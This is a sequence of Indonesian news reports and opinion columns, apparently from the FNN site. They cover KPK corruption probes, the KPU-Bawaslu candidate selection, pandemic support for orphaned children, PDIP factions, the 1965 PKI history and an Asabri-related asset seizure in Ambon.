ketidakpercayaan dan perlawanan rakyat. Merendahkan agama sembari menindas rakyat khususnya umat Islam, terpatri dalam sanubari yang tak akan pernah terhapus. Semua kebohongan Jokowi yang melegenda itu pada akhirnya menistakan Jokowi sendiri. Menghancurkan dengan sendirinya kepribadiannya yang selama ini rapuh karena dibangun di atas dasar pencitraan. Jokowi juga menjadi representasi runtuhnya kewibawaan istana. Mengejek dan mengolok-olok Jokowi apalagi sebagai presiden. Bukanlah hal yang baik dan beretika. Akan tetapi, rakyat juga tidak bisa disalahkan begitu saja. Untuk menghindari kontroversi dan polemik. Lebih baik ambil solusi kongkrit. Segera meminta rakyat berhenti mengejek dan mengolok-olok presiden. Demikian pula dengan Pak Jokowi. Agar tidak terus menerus menjadi bahan ejekan dan penghinaan. Sebaiknya Jokowi mundur dari jabatan presiden. Sehingga presiden dan istana tetap terhormat dan berwibawa di hadapan rakyat. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Polri-TNI Kolaborasi Beri Dukungan Psikososial Anak Terdampak Pandemi

Jakarta, FNN - Kepolisian Negara Republik Indonesia (Polri) bersama TNI dan stakeholders terkait berkolaborasi memberikan dukungan psikososial kepada anak-anak yang kehilangan salah satu atau kedua orang tuanya karena pandemi COVID-19, Selasa. Kegiatan pemberian psikososial dilaksanakan serentak seluruh jajaran Polri dan TNI di daerah, sedangkan untuk tingkat nasional dipusatkan di Lapangan Lemdiklat Polri, Jakarta Selatan. Kapolri Jenderal Pol Listyo Sigit Prabowo dalam arahannya mengatakan anak-anak merupakan aset penerus bangsa yang perlu diberikan perhatian dalam tumbuh kembangnya. Khususnya anak-anak yang kehilangan salah satu atau kedua orang tuanya,agar dapat tumbuh melanjutkan kehidupan layaknya anak lain. Sigit menyebut anak terdampak pandemi COVID-19 yang kehilangan salah satu atau kedua orang tuannya sebagai "anak-anak kita". "Terkait anak-anak kita, selain bantuan sosial maka perlu diberikan pelayanan khusus yang sifatnya bantuan psikologis, konseling, menumbuhkan kembali semangat mereka dalam beraktivitas, melanjutkan hidup, dan cita-citanya," kata Sigit. Menurut Sigit, perlu upaya kolaboratif dari semua pihak untuk turun tangan dan memberikan kepedulian terhadap anak Indonesia terdampak pandemi COVID-19. Berdasarkan catatan dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak terdapat sebanyak 29.822 anak yang kehilangan salah satu atau kedua orang tuanya akibat pandemi COVID-19. Menteri Pemberdayaan Perempuan dan Perlindungan Anak (Menteri PPPA) Bintang Puspayoga mengapresiasi langkah TNI-Polri ikut turun tangan bersama Kementerian PPPA dan Kementerian Sosial menangani pandemi COVID-19, khususnya dalam pemberian psikososial anak terdampak pandemi. "Pendampingan psikososial sangat penting untuk mengembalikan semangat anak-anak yang ditinggalkan oleh salah satu atau kedua orang tuanya," kata Bintang. Sementara itu, Menteri Sosial Tri Rismaharini menyebutkan anak-anak yang terdampak pandemi yang kehilangan salah satu atau kedua orang tuanya mengalami syok sehingga diperlukan terapi untuk mengembalikan semangat mereka. "Anak-anak mengalami syok terutama yang kelas tiga SD, kelas enam, kelas tiga SMP, kelas tiga SMA, sangat syok karena mereka memikirkan saya bisa sekolah atau tidak," ujar Risma. Untuk itu, Risma mengapresiasi langkah Polri-TNI yang ikut serta memberikan pendampingan psikososial kepada anak-anak terdampak pandemi COVID-19. Dalam diri anak-anak, selain kebutuhan fisik (materi), maka ada sekitar 50 persennya membutuhkan semangat untuk melanjutkan hidup dan cita-citanya. "Karena pada masa anak-anak ini nanti akan berpengaruh pada kehidupan mereka selanjutnya. Kalau mengalami syok di masa anak-anak, maka akan sulit berkembang saat dewasa," terang Risma. (sws)

Timsel Buka Ruang Partisipasi Publik Dalam Proses Seleksi

Jakarta, FNN - Ketua Tim Seleksi (Timsel) Calon Anggota KPU-Bawaslu 2022-2027 Juri Ardiantoro menegaskan timsel memiliki prinsip dalam menjalankan tugas dengan mengedepankan keterbukaan dan partisipasi publik dalam setiap proses tahapan. "Dalam proses seleksi ini, timsel punya prinsip keterbukaan dalam menjalankan tugas dan partisipasi publik. Karena itu proses tahapan seleksi membuka ruang kepada publik untuk mendapat akses informasi," kata Juri dalam Rapat Dengar Pendapat Umum (RDPU) Komisi II DPR RI di Kompleks Parlemen, Jakarta, Selasa. Menurut dia, timsel mendorong partisipasi publik untuk mengawal proses seleksi sehingga pihaknya dalam melaksanakan tugasnya menggunakan prinsip partisipasi. Dia mencontohkan timsel mengundang lembaga swadaya masyarakat (LSM) kepemiluan untuk memberikan masukan terkait proses seleksi, termasuk yang sudah disampaikan kepada publik. "Kami tegaskan bahwa timsel menggandeng beberapa institusi di luar, termasuk individu yang kredibel untuk membantu timsel misalnya penelusuran rekam jejak seseorang," ujarnya. Menurut dia, timsel meminta institusi yang memiliki sumber daya manusia (SDM) dan alat untuk menelusuri rekam jejak seseorang calon terutama "profiling" seseorang. Juri menjelaskan timsel juga telah bertemu dengan penyelenggara pemilu, yakni KPU dan Bawaslu secara terpisah. Mereka menyampaikan apa yang menjadi 'concern' selama ini dan tantangan penyelenggaraan pemilu ke depan sehingga mendapatkan masukan. "Kami juga sudah bertemu dengan Menkopolhukam sebagai wakil pemerintah untuk mendengarkan apa yang menjadi 'concern' pemerintah dalam penyelenggaraan pemilu ke depan," ujarnya. Wakil Ketua Timsel Chandra Hamzah mengatakan UU Nomor 7 tahun 2017 tentang Pemilu telah mengamanatkan timsel memiliki waktu maksimal 3 bulan untuk melakukan seleksi calon anggota KPU-Bawaslu. Menurut dia, aturan tersebut agak unik karena waktunya yang pendek untuk melakukan proses seleksi sehingga perlu dipertimbangkan aturan tersebut untuk direvisi. "Selain itu berdasarkan amanat UU Pemilu, timsel menyampaikan laporan setiap tahapan seleksi ke DPR RI. Kami memiliki 10 tahapan, maka akan disampaikan semua," ujarnya. RDPU tersebut dipimpin Ketua Komisi II DPR RI Ahmad Doli Kurnia dan dihadiri seluruh anggota Timsel Calon Anggota KPU-Bawaslu Periode 2022-2027. (sws)

KPK Dalami Pemberian Fasilitas Perpanjang Izin HGU Sawit di Kuansing

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami dugaan adanya pemberian fasilitas tertentu pada beberapa pihak terkait perpanjangan izin hak guna usaha (HGU) sawit di Kabupaten Kuantan Singingi (Kuansing), Riau. KPK, Senin (1/11) memeriksa 10 saksi untuk tersangka Bupati Kuansing nonaktif Andi Putra (AP) dalam penyidikan kasus dugaan suap terkait perpanjangan izin HGU sawit di Kabupaten Kuansing. Pemeriksaan dilakukan di Gedung Ditreskrimsus Polda Riau. "Dikonfirmasi terkait pengajuan perpanjangan HGU oleh PT AA (Adimulia Agrolestari) dan dugaan adanya pemberian fasilitas tertentu pada beberapa pihak terkait pengurusan dimaksud," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Sepuluh saksi, yaitu Penjabat (Pj) Sekda Kuansing Agus Mandar, Kabag Perekonomian Sumber Daya Alam Setda Kuansing Irwan Nazif, Senior Manager PT Adimulia Agrolestari Paino Harianto, Staf Legal PT Adimulia Agrolestari Fahmi Zulfadli, tiga Staf PT Adimulia Agrolestari Rudy Ngadiman alias Koko, Yuhartaty, dan Riana Iskandar. Selanjutnya, Kepala Kantor PT Adimulia Agrolestari Syahlevi, PNS Kantor Wilayah Pertanahan Provinsi Riau Indrie Kartika Dewi, dan Joharnalis selaku sopir. Selain itu, KPK mendalami 10 saksi tersebut mengenai posisi tersangka Andi Putra dalam memberikan persetujuan izin HGU. KPK telah menetapkan Andi Putra bersama General Manager PT Adimulia Agrolestari Sudarso (SDR) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan untuk keberlangsungan kegiatan usaha dari PT Adimulia Agrolestari yang sedang mengajukan perpanjangan HGU yang dimulai pada 2019 dan akan berakhir pada 2024, salah satu persyaratan untuk kembali memperpanjang HGU adalah dengan membangun kebun kemitraan minimal 20 persen dari HGU yang diajukan. Adapun lokasi kebun kemitraan 20 persen milik PT Adimulia Agrolestari yang dipersyaratkan tersebut terletak di Kabupaten Kampar, Riau, di mana seharusnya berada di Kabupaten Kuansing. Agar persyaratan tersebut dapat terpenuhi, Sudarso kemudian mengajukan surat permohonan kepada Andi Putra dan meminta kebun kemitraan PT Adimulia Agrolestari di Kampar disetujui menjadi kebun kemitraan. Selanjutnya, Sudarso dan Andi Putra bertemu. Andi Putra menyampaikan bahwa kebiasaan dalam mengurus surat persetujuan dan pernyataan tidak keberatan atas 20 persen Kredit Koperasi Prima Anggota (KKPA) untuk perpanjangan HGU yang seharusnya dibangun di Kabupaten Kuansing dibutuhkan minimal uang Rp2 miliar. Sebagai tanda kesepakatan, pada September 2021 diduga telah dilakukan pemberian pertama oleh Sudarso kepada Andi Putra uang sebesar Rp500 juta. Selanjutnya pada Oktober 2021, Sudarso diduga kembali menyerahkan uang sekitar Rp200 juta kepada Andi Putra. Atas perbuatannya, Sudarso selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan Andi Putra disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

KPK Dalami Aktivitas Keuangan Perusahaan Pemberi Uang Kepada Dodi Reza

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami aktivitas keuangan perusahaan terkait pemberian sejumlah uang untuk tersangka Bupati Musi Banyuasin nonaktif Dodi Reza Alex Noerdin (DRA). KPK, Senin (1/11) memeriksa delapan saksi untuk tersangka Dodi dan kawan-kawan dalam penyidikan kasus dugaan korupsi pengadaan barang dan jasa di Kabupaten Musi Banyuasin Tahun Anggaran 2021. Pemerikasaan dilakukan di Satbrimobda Sumatera Selatan. "Didalami antara lain terkait dengan aktivitas keuangan PT SSN (Selaras Simpati Nusantara) dan diduga ada perintah dari tersangka SUH (Suhandy) untuk mengeluarkan sejumlah uang yang kemudian diberikan kepada tersangka DRA melalui tersangka HM (Herman Mayori) sebagai bentuk "fee" atas proyek yang didapatkan oleh PT SSN dimaksud," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Delapan saksi merupakan staf PT Selaras Simpati Nusantara, yaitu Saskia Arantika, Istiqomah Fajriani, Marlisa, Feni Fenisia, Dahlia Fanfani, Negi Vasterina, Agustinus, dan Idham. Diketahui, Dodi, Kepala Dinas PUPR Kabupaten Musi Banyuasin Herman Mayori Herman, dan Kabid Sumber Daya Air (SDA)/Pejabat Pembuat Komitmen (PPK) Dinas PUPR Kabupaten Musi Banyuasin Eddi Umari (EU) merupakan tersangka penerima suap kasus tersebut. Sementara pemberi suap adalah Direktur PT Selaras Simpati Nusantara Suhandy. Dalam konstruksi perkara, KPK menjelaskan Pemkab Musi Banyuasin untuk tahun 2021 akan melaksanakan beberapa proyek yang dananya bersumber dari APBD, APBD-P TA 2021, dan Bantuan Keuangan Provinsi (bantuan gubernur) di antaranya di Dinas PUPR Kabupaten Musi Banyuasin. Untuk melaksanakan berbagai proyek dimaksud, diduga telah ada arahan dan perintah dari Dodi kepada Herman, Eddi, dan beberapa pejabat lain di Dinas PUPR Kabupaten Musi Banyuasin agar dalam proses pelaksanaan lelangnya direkayasa sedemikian rupa di antaranya dengan membuat daftar paket pekerjaan dan telah pula ditentukan calon rekanan yang akan menjadi pelaksana pekerjaan tersebut. Selain itu, Dodi telah menentukan adanya persentase pemberian "fee" dari setiap nilai proyek paket pekerjaan di Kabupaten Musi Banyuasin, yaitu 10 persen untuk Dodi, 3-5 persen untuk Herman, 2-3 persen untuk Eddi, dan pihak terkait lainnya. Untuk Tahun Anggaran 2021 di Bidang Sumber Daya Air Dinas PUPR Kabupaten Musi Banyuasin, perusahaan milik Suhandy menjadi pemenang dari empat paket proyek. Total komitmen "fee" yang akan diterima oleh Dodi dari Suhandy dari empat proyek tersebut sekitar Rp2,6 miliar. Sebagai realisasi pemberian komitmen "fee" oleh Suhandy atas dimenangkannya empat proyek paket pekerjaan di Dinas PUPR tersebut, diduga Suhandy telah menyerahkan sebagian uang tersebut kepada Dodi melalui Herman dan Eddi. Atas perbuatannya tersebut, Suhandy selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan sebagai penerima, Dodi, dan kawan-kawan disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal Pasal 55 ayat 1 ke-1 KUHP. (sws)

PKI di Balik Retaknya Hubungan Jenderal Yani dengan Bung Karno (Bagian Kedua)

Oleh Selamat Ginting *) Jakarta, FNN - Letnan Jenderal Achmad Yani selaku Menteri/Panglima Angkatan Darat meminta stafnya untuk mengkaji usulan Ketua Comite Central (CC) Partai Komunis Indonesia (PKI) DN Aidit. Aidit mengusulkan Angkatan Kelima di luar Angkatan Darat, Angkatan Laut, Angkatan Udara, dan Angkatan Kepolisian. Angkatan Kelima adalah buruh dan tani dipersenjatai untuk membantu ABRI dalam menghadapi ancaman nekolim (neo kolonialisme) yang terus memperkuat tentaranya di Malaysia. Jenderal Yani menugaskan lima orang jenderal, yakni: Mayor Jenderal Siswondo Parman, Mayor Jenderal Soeprapto, Mayor Jenderal MT Haryono, Brigadir Jenderal DI Panjaitan, dan Brigadir Jenderal Soetoyo Siswomihardjo. “Angkatan Kelima tidak perlu, oleh karena kita telah mempunyai pertahanan sipil (hansip) yang telah dan selalu bisa menampung semua kegiatan bela negara,” begitulah hasil rumusan dari tim perumus yang terdiri dari lima jenderal yang bertugas di Markas Besar Angkatan Darat tersebut. Penolakan Jenderal Yani dan lima jenderal terhadap Angkatan Kelima harus dibayat mahal. Keenamnya bersama Jenderal Abdul Haris Nasution diisukan sebagai Dewan Jenderal yang anti Nasakom (Nasional, Agama, Komunis) dan tidak mendukung kebijakan Presiden Sukarno. Padahal Sukarno menyetujui pembentukan Angkatan Kelima tersebut. Bahkan pada pidato Presiden Sukarno 17 Agustus 1965 yang ditulis Wakil Ketua CC PKI Nyoto, Bung Karno justru menyatakan, mempersenjatai massa buruh dan tani merupakan gagasan pribadinya. “Saya mengucapkan terima kasih atas semua dukungan yang diberikan kepada gagasan saya untuk mempersenjatai buruh dan tani,” ujar Sukarno. Kemudian Sukarno menambahkan, ”Saya akan mengambil keputusan mengenai ini, dalam kapasitas saya selaku Panglima Tertinggi Angkatan Bersenjata…”. Entah keputusan apa yang dimaksud Sukarno tersebut. Yani menyadari keputusan Angkatan Darat bertentangan langsung dengan Presiden Sukarno dan PKI. Tapi ia meyakini bahwa inilah sikap Angkatan Darat. DN Aidit memang cemas, karena PKI tidak punya tentara, seperti di RRT. Padahal kata pemimpin partai komunis Cina, Mao Tse Tung, kekuasaan itu lahir dari ujung bedil. Karena itulah PKI merasa perlu mempersenjatai buruh dan tani. Jumlahnya sekitar 15 ribu orang dengan rincian buruh 5.000 dan tani 10 ribu orang. Yani kecewa, karena Sukarno terpengaruh bahkan sangat mesra dengan komunis. Angkatan Darat mencatat, PKI sejak Mei 1965 terlihat begitu intensif melakukan aksi massa sepihak yang dibungkus dengan pelaksanaan landreform. Misalnya di Mantingan Jawa Timur, massa komunis yang dipelopori anggota Barisan Tani Indonesia (BTI) berusaha mengambil paksa tanah wakaf milik Pondok Pesantren Gontor di Ponorogo. Terjadi konflik massa para santri melawan BTI serta massa PKI. Yani juga sangat marah ketika PKI mengeroyok dan mencincang Pembantu Letnan Dua (Pelda) Sujono di Bandar Betsy, Simalungun, Sumatra Utara. Aidit berkelit bahwa tindakan PKI di Bandar Betsy sebagai tindakan revolusioner sebagai awal dari pelaksanaan tuntutan landreform untuk memenuhi komando Presiden Sukarno. “Kami diminta Bapak mencari koran yang memberitakan kasus Pelda Sujono tewas dibantai PKI di Bandar Betsy, Sumatra Utara,” kata Amelia Yani, putri ketiga dari Jenderal Achmad Yani dalam perbincangan dengan Selamat Ginting yang ditayangkan chanel youtube SGinting Offcial akhir Oktober 2021 lalu. Bagaikan Ibukota Komunis Peristiwa 14 Mei 1965 di Bandar Betsy dianggap angin lalu oleh PKI. Sepanjang Mei 1965, PKI justru gencar melempar isu Dewan Jenderal sebagai jenderal-jenderal yang akan menggulingkan Presiden Sukarno. Mereka terus memaksakan Angkatan Kelima. Dalam merayakan ulang tahun PKI tahun 1965, kaum komunis merayakannya besar-besaran. Tamu-tamu berdatangan dari negara-negara komunis, seperti Republik Takyat Tiongkok atau Cina, Albania, Korea Utara, Vietnam Utara, dan Partai Komunis dari Uni Soviet. Jakarta saat itu seperti ibukota negara komunis. Gambar Sukarno, DN Aidit, Lenin, dan Karl Marx, Engels, Stalin dipajang di sejumlah jalan utama Ibukota. “Kami terkejut, ternyata pembantu rumah kami adalah simpatisan PKI. Dia membawa bendera palu arit dan ikut dalam pawai di Gelora Senayan. Belakangan kami baru menyadari, jangan-jangan dia PKI yang memantau aktivitas Pak Yani di rumah. Sebab setelah peristiwa pembunuhan terhadap bapak, pembantu itu menghilang,” ujar Amelia Yani. Pawai besar-besaran membuat Jakarta dan seluruh Pulau Jawa menjadi merah oleh bendera palu arit. Presiden Sukarno menyambut gembira dengan suasana gemuruh di stadion Gelora Senayan, Jakarta. Menggunakan pakaian Panglima Tertinggi lengkap dengan pita tanda jasa, brevet dan tongkat komandonya. Ia memeluk Ketua CC PKI DN Aidit dengan mesra. Disambut ratusan ribu massa seperti menggoyang Stadion Senayan. “Apa sebab PKI bisa jadi demikian besar? Oleh karena PKI konsekuen progresif revolusioner. Aku berkata, PKI yo sanakku, ya kadang-ku, yen mati aku melu kelangan,” kata Bung Karno bersemangat. PKI pada 1965 beranggotakan tiga juta orang, Pemuda Rakyat (sayap pemuda PKI) tiga juta orang, dan simpatisan 20 juta orang. Selain memuji PKI, Sukarno kembali menegaskan sikapnya mengenai Nasakom, seperti tahun 1926. Awalnya Sukarno menggunakan istilah Nasionalis, Islam, Marxis. Kemudian diubah menjadi Nasionalis, Agama, dan Marxis (Nasamarx). Akhirnya menjadi Nasakom. Ide yang ditentang mantan Wakil Presiden Moh Hatta, Jenderal AH Nasution dan Jenderal Ahmad Yani selaku pimpinan ABRI. Pujian terhadap PKI kemudian diimplementasikan Sukarno dengan memberikan Bintang Mahaputra untuk DN Aidit pada 17 Agustus 1965. PKI semakin mendapatkan angin menjadi anak emas Presiden Sukarno. Dua pekan setelah itu, massa PKI melakukan demonstrasi besar-besaran di Kedutaan Besar Amerika Serikat dan Inggris di Jakarta. Bahkan masa menerobos dan membakar kedutaan besar Inggris. Menghadapi massa yang tidak terkendali, Angkatan Darat menyelamatkan sejumlah diplomat Inggris dari amukan massa yang beringas. “Terima kasih dari saya seorang nekolim (neo kolonialisme),” begitulah karangan bunga yang dikirimkan Duta Besar Inggris di Jakarta Andrew Graham Gilsrist. “Karangan bunga itu diberikan, karena personel Angkatan Darat menyelamatkan para diplomat dari amukan massa dan api yang membakar kedutaan Inggris. Tapi kemudian dijadikan isu oleh PKI bahwa Jenderal Yani sebagai antek Inggris. Sekaligus menjadi dasar dibuatnya dokumen Gilchrist yang berbunyi ‘our local army friends’ oleh biro khusus PKI yang dipimpin Syam Kamaruzaman,’ kata Amelia Yani. Jenderal Yani memang pernah bersekolah militer di Inggris pada 1955. Tentu saja dikirim oleh negara untuk memperdalam ilmu militer. Namun di depan Sukarno, Yani membantah sebagai antek Amerika maupun Inggris. “Anti komunis bukan berarti menjadi antek Amerika dan Inggris. Negara yang menyekolahkan saya ke Amerika dan Inggris. Bukan maunya saya sebagai tentara harus sekolah di mana,” kata Amelia Yani menirukan ucapan ayahandanya yang ditulis dalam buku catatan Yani. Hubungan dengan Sukarno Yani yang semula akrab dengan Presiden Sukarno, lama-lama akhirnya berpisah jalan. Ia menolak ide Nasakom, karena sudah ada ideologi negara, Pancasila. Sebagai personel TNI telah ia disumpah untuk menjunjung ideologi Pancasila. Bukan ideologi lain. Ia juga menolak ide Angkatan Kelima yang digagas PKI dan Bung Karno. Seperti diungkap di atas, tim Yani di Staf Umum Angkatan Darat sudah mengkaji masalah Nasakom dan Angkatan Kelima. Hasilnya menolak dua hal tersebut. Kelima Jenderal dalam tim tersebut bersama dengan Jenderal Yani dan Jenderal AH Nasution akhirnya harus menelan pilpahit, masuk dalam daftar penculikan dan akhirnya dibunuh pada 1 Oktober 1965. Hanya Jenderal Nasution yang selamat. Amelia Yani juga menceritakan bahwa hubungan keluarganya dengan keluarga Sukarno tergolong baik dan akrab. Bahkan Yani dan istri kerap membantu Ibu Negara Fatmawati yang keluar dari istana, karena kecewa Sukarno kawin lagi. “Ibu saya suka membantu Bu Fatmawati yang tiinggal di rumah kecil menyendiri, tidak lagi di Jalan Sriwijaya. Bapak juga beberapa kali meminta ajudan Mayor Subardi mengirimkan makanan dan bantuan lain untuk Bu Fatmawati,” ujar Amelia. Setelah peristiwa penculikan dan pembunuhan terhadap Jenderal Yani, lanjut Amelia, istri-istri Bung Karno juga mengunjungi rumah keluarga Yani di Jalan Lembang. Terutama Hartini dan Dewi. Bahkan Dewi yang berasal dari Jepang, hampir tiap hari menghibur istri Jenderal Yani. “Bu Dewi tentu saja ke sini atas perintah Presiden Sukarno sekaligus menawarkan agar Ibu kami bersedia mengelola Sarinah Jaya. Tapi ibu menolak, karena sudah terlanjut kecewa dengan sikap Presiden Sukarno.” Nyawa tidak bisa ditukar dengan harta. Yayuk Ruliah Sutodiwiryo kehilangan respek pada Presiden Sukarno setelah kematian suaminya yang tragis. Padahal sebelumnya, ia merasa senang sekali tatkala Bung Karno hadir dalam acara syukuran rumah baru keluarga Yani di Jalan Suropati. Namun rumah tersebut hanya dihuni selama satu tahun. Yayuk juga kerap menampung curahan hati Fatmawati, istri ketiga Presiden Sukarno. “Setelah bapak gugur, Ibu tidak mau lagi bicarakan tentang Bung Karno, sudah terlanjur kecewa,” ujar Amelia dengan rasa sedih. Ungkapan-ungkapan Amelia Yani dapat disaksikan dalam channel youtube SGinting Official. Penulos adalah Pengamat Komunikasi Politik dan Militer.

Pembelahan di Internal PDIP: Faksi Banteng, Celeng, atau Benalu?

Oleh Ahmad Khozinudin "Sampai mati saya akan ikut mengawal Pilkada 2024. Akan terlihat, siapa yang banteng, siapa yang celeng, dan siapa pula yang benalu." (Teddy Sulistio, Ketua DPC PDIP Salatiga, 29/10] Internal PDIP memanas. Sebabnya, adalah soal perbedaan aspirasi tentang siapa yang akan diusung sebagai Capres 2024. Aspirasi itu terbelah pada dua arus utama: aspirasi Banteng dan aspirasi Celeng. Namun, publik kembali dikejutkan oleh kabar dari Ketua DPC PDIP Kota Salatiga Teddy Sulistio yang mengajukan pengunduran diri dari kepengurusan partai sekaligus anggota DPRD Kota Salatiga. Pengunduran diri Teddy disampaikan secara resmi lewat surat yang ditujukan kepada Ketua Umum PDIP Megawati Soekarnoputri dengan tembusan Ketua DPD PDIP Bambang Wuryanto dan Ketua DPRD Kota Salatiga. Selain mengundurkan diri, Teddy juga menyinggung adanya tiga faksi utama di PDIP, yaitu : Faksi Banteng, Faksi Celeng dan Faksi Benalu. Pernyataan Teddy Sulistio ini sejalan dengan apa yang disampaikan oleh Ketua Umum PDI-P Megawati Soekarnoputri. Mega pernah mengingatkan agar kader tak menjadi benalu yang mengisap induknya, yaitu partai. "Jadi jangan berpikir untuk mencari untung atau korupsi. Jangan, malu saya," ungkap Megawati saat memberikan pengarahan tertutup untuk pendidikan kader madya, dikutip dari keterangan tertulis, Jumat, 10 September 2021. Sebenarnya, pengunduran diri Teddy Sulistio ini sangat mengejutkan. Mengingat, yang dipanggil dan ditegur langsung oleh DPP PDI-P adalah Albertus Sumbogo, Wakil DPC PDIP Purworejo yang mendeklarasikan dukungan terhadap Ganjar Pranowo. Hanya saja, menarik untuk mencoba mengulik tiga faksi yang ada di tubuh PDIP. Tiga faksi ini perlu didefinisikan terlebih dahulu, baru dijadikan sarana pemetaan terhadap persoalan internal yang melilit di tubuh PDIP. Faksi Banteng adalah kelompok atau barisan kader yang mendukung Puan Maharani untuk menjadi Capres 2024. Penulis tidak mendefinisikan faksi Banteng sebagai kader yang tegak lurus pada konstitusi partai dan perintah Ketua Umum PDIP sebagaimana dijelaskan Bambang Pacul. Sebab, ada sejumlah kader yang memberikan dukungan terbuka kepada Puan Maharani seperti di DPC PDIP Banyumas dan Purbalingga, tidak kemudian disebut kader Celeng. Faksi Celeng adalah kelompok atau barisan kader yang mendukung Ganjar Pranowo untuk menjadi Capres 2024. Kelompok ini diberikan sebutan Celeng oleh Bambang Wuryanto (Pacul), yang kemudian ditegaskan oleh kelompok Albertus Sumbogo sebagai Barisan Celeng Berjuang. Faksi Benalu adalah segelintir kader (biasanya ada di elit partai) yang sebenarnya tidak mendukung Puan atau Ganjar untuk menjadi Capres 2024, namun hanya ingin mencari kemaslahatan pribadi dengan mendompleng Ketua Umum atau melalui dukung mendukung kandidat calon, hanya memanfaatkan kebijakan dan keputusan partai untuk kepentingan pribadinya. Kelompok yang ketiga ini lebih berbahaya ketimbang kelompok pertama dan kedua. Faksi Benalu ini tidak muncul ke permukaan, tetapi menempel untuk mempengaruhi kebijakan partai agar menguntungkan pribadinya, baik melalui otoritas Ketua Umum (Megawati), atau melalui kebijakan dan keputusan partai berdalih AD ART Partai. Faksi Benalu ini, sesungguhnya musuh bersama bagi faksi Banteng maupun faksi Celeng. Faksi Benalu inilah, yang selalu mengedarkan bisikan-bisikan setan, menjadi roh halus yang menghantui kebijakan Ketua Umum dan Partai. Faksi Benalu inilah, yang paling banyak menikmati legitnya kekuasaan dengan memanfaatkan keputusan-keputusan partai. Jadi, siapakah Faksi benalu ini? Entahlah. Penulis juga sedang meraba-raba. Sebab, faksi ini keberadaannya dirasakan tetapi wujudnya tidak tampak di depan publik. Beda dengan Faksi Banteng dan Faksi Celeng. Keduanya, terbuka hadir dan tidak menutupi eksistensinya di hadapan publik. []. *) Sastrawan Politik

Komisi II DPR Terima Audiensi Timsel Calon Anggota KPU-Bawaslu

Jakarta, FNN - Komisi II DPR RI menerima permohonan audiensi yang diajukan Tim Seleksi Calon Anggota KPU-Bawaslu Periode 2022-2027 dengan menggelar Rapat Dengar Pendapat Umum (RDPU) pada Selasa pagi. "Rapat Internal Komisi II DPR RI pada Senin (1/11) memutuskan akan menerima Timsel Calon Anggota KPU-Bawaslu di Ruang Rapat Komisi II DPR RI pada hari ini (Selasa)," kata Wakil Ketua Komisi II DPR RI Luqman Hakim di Jakarta, Selasa. Dia menjelaskan bahwa Timsel Calon Anggota KPU-Bawaslu pada 22 Oktober 2022 telah mengajukan surat permohonan audiensi kepada DPR RI. Luqman mengatakan dalam surat permohonan tersebut disebutkan audiensi untuk menyampaikan penjelasan mengenai tahapan dan jadwal seleksi calon anggota KPU dan Bawaslu RI. "Tentu Komisi II DPR RI akan mendengarkan dengan cermat paparan yang nanti disampaikan timsel," ujarnya. Luqman mengatakan Komisi II DPR RI mendorong timsel agar seluruh tahapan seleksi dilakukan secara transparan dan memberi ruang seluas-luasnya bagi partisipasi publik. Menurut dia, Komisi II DPR RI menginginkan agar proses yang dilakukan timsel menghasilkan calon-calon anggota KPU dan Bawaslu RI yang kompeten, berintegritas, dan profesional. (sws)

Kajari Ambon Koordinasi Penyitaan Aset Oleh Kejagung Terkait Asabri

Ambon, FNN - Kejaksaan Negeri Ambon saat ini masih melakukan koordinasi secara intensif dengan sejumlah instansi pemerintah terkait rencana penyitaan sejumlah aset di Kota Ambon oleh Kejaksaan Agung RI terkait kasus Asabri "Tamu saya berupa tim dari Kejagung RI sudah beberapa hari berada di sini dan kami sementara melakukan koordinasi dengan Pemerintah Kota Ambon maupun BPN/ATR," kata Kepala Kejaksaan Negeri Ambon Dian Frits Nalle di Ambon, Selasa. Ada beberapa aset yang akan disita pihak Kejagung RI, dan salah satunya adalah gedung Ambon City Center (ACC) di kawasan Passo, Kecamatan Baguala (Kota Ambon). Rencana penyitaan gedung ACC ini diduga memiliki keterkaitan dengan kasus dugaan korupsi puluhan triliun rupiah di kasus PT. ASABRI yang saat ini masih ditangani Kejagung RI dan telah menetapkan sejumlah tersangka. "Nanti sajalah, kalau memang sudah waktunya maka saya akan ajak semuanya ke sana," janji Kajari kepada wartawan tanpa bersedia memberikan penjelasan lebih rinci. Namun lahan yang dipakai membangun gedung ACC tersebut diduga merupakan aset milik PT. Asuransi Sosial Angkatan Bersenjata Republik Indonesia. Untuk itu tim Kejagung RI didampingi Kejari Ambon telah mendatangi Kantor BPN/ATR di kawasan Tantui sejak dua hari lalu untuk melakukan koordinasi, dan kegiatan ini masih diteruskan ke instansi terkait lainnya. (sws)

Mengenal Cabang Olahraga Renang Peparnas Papua

